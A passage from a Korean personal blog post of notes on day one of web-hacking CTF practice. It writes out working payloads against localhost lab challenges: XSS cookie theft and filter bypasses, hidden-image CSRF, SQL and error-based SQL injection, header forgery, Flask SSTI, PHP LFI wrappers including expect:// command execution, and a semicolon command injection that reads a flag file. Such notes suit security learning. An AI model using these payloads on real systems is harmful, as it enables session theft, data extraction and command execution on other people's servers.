CTF 1일차

2026. 1. 19. 23:44·IT Dictionary/CTF & 보안
반응형

1. XSS 공격

  • 취약점이 있는 URL에 자바스크립트 공격 삽입
  • memo 페이지는 입력받은 쿼리 값을 삽입해주는 페이지
  • vul 페이지는 XSS 취약점이 존재하는 페이지
  • main 페이지는 admin의 cookie를 가진 임의의 사용자가 vul 페이지에 쿼리 값을 입력해줌
  • 다음과 같이 입력하여 memo에 cookie값을 출력해줌
http://localhost:8080/main?attack=<script>location.href ='/memo?memo=' + document.cookie</script>

 

2. XSS 공격 (2)

  • vul 페이지에는 script 나 javascript: 등을 필터링 해주는 코드가 존재
  • XSS 우회를 통해 해결
  • img 라는 html 태그를 추가하여 오류 발생 시 다음과 같은 script를 실행하게 함
http://localhost:8080/main?attack=<img src="a" onerror="location.href ='/memo?memo=' + document.cookie"/>
  • 또는 다음과 같이 필터를 우회할 수 있음 (scscriptript)
http://localhost:8080/main?attack=<scscriptript>location.href ='/memo?memo=' + document.cookie</scscriptript>

 

3. CSRF 공격 

  • 사용자가 의도하지 않은 행위를 유발시켜야 함
  • XSS 공격을 진행하는 페이지와 동일
  • 단, flag 값을 출력해주는 admin 페이지가 추가됨
  • src에 admin 페이지를 추가하여 admin url을 강제로 실행시켜줌
http://localhost:8080/main?attack=<img src="/admin" style="display: none;"/>

 

4. SQL Injection 공격 

  • query = `SELECT pw FROM users WHERE id='guest${request.get.id}'`
  • admin의 pw에 flag가 존재
  • 기존에 있는 id 값을 거짓으로 바꾸고 새롭게 조건을 추가하여 admin의 pw를 추가
http://localhost:8080/?id=ooo' or id='admin' -- 

 

5. Error Based SQL Injection 공격

  • query = `SELECT * FROM users WHERE id='${request.get.id}'`
  • id 값을 입력해도 쿼리문의 결과를 출력하지 않음
  • extractvalue 함수는 xml로 표현된 문자 내에서 조건에 따른 특정 문자를 출력해줌
  • xml 표현식에 사용되지 않는 특수문자를 입력하면 오류를 발생시키는 데, 이 때 오류 메시지는 질의문에 실행 결과를 보여줌
1' and extractvalue(1, concat(0x3a, (SELECT pw FROM users WHERE id='admin')));    # 0x3a : :
1' and extractvalue(1, concat(0x3a, (SELECT pw FROM users LIMIT 0, 1))); 
1' and extractvalue(1, concat(0x3a, (SELECT substr(pw, 29, 30) FROM users LIMIT 0, 1))); 

 

6. 헤더 조작 

  • 다음 조건들을 통과하면 FLAG를 획득할 수 있음

POST /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 12
Content-Type: application/x-www-form-urlencoded         # post 패킷을 보내기 위해서는 다음의 헤더 값이 필요함
userid=admin
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true 

 

7. SSTI 취약점 

  • 서버에서 웹 템플릿을 작성할 경우 발생하는 취약점

  • request.path의 값을 그대로 출력하기 때문에 flask를 사용하는 환경에서는 다음과 같은 요청으로 FLAG를 구할 수 있음
http://localhost:8080/{{config}}

 

8. PHP LFI 취약점 

  • php 파일을 불러올 때 include에 의해 로드된다면 취약점이 존재하게 됨
      <?php
          include $_GET['page']?$_GET['page'].'.php':'main.php';
      ?>
  • page 값에 ../../uploads/shell.php 입력 등을 통해 악의적인 php 실행 가능  
  • 다양한 php wrapper를 통해 공격 가능
    • expect:// : system command 실행, http://localhost:8080/index.php?page=expect://ls 
    • php://filter/ : 다양한 I/O 스트림을 사용, 주로 base64 encoding으로 문서 열람, http://localhost:8080/index.php?page=php://filter/convert.base64-encode/resource=flag.php
    • zip:// : zip 파일의 압축 풀기 후 코드를 실행시킴 http://localhost:8080/index.php?page=zip://file.zip#shell.php

 

9. Command Injection

  • 입력 받은 IP로 핑을 보내는 웹 서비스가 있음 (ping {request.get.id})
  • 세미콜론으로 여러 명령어를 실행 가능
8.8.8.8; cat flag.txt

 

반응형

'IT Dictionary > CTF & 보안' 카테고리의 다른 글

CTF 3일차  (0) 2026.01.22
CTF 2일차  (0) 2026.01.20
'IT Dictionary/CTF & 보안' 카테고리의 다른 글
  • CTF 3일차
  • CTF 2일차
MutJangE
MutJangE
즐거운 인생
  • MutJangE
    MutJangE
    MutJangE
  • 전체
    오늘
    어제
    • 분류 전체보기 (86) N
      • IT Dictionary (1) N
        • Database (7)
        • Network (9)
        • Computer Science (12) N
        • 정보보안산업기사 (24)
        • CTF & 보안 (3)
      • 일상 (11) N
        • 배포중인 웹 서비스 (1)
        • CERT병 (6)
        • 토익 (3) N
      • 프로그래밍 (19)
        • Java (1)
        • C# (6)
        • Unity (7)
        • React (4)
        • React native (1)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.5
    MutJangE
    CTF 1일차
    상단으로

    티스토리툴바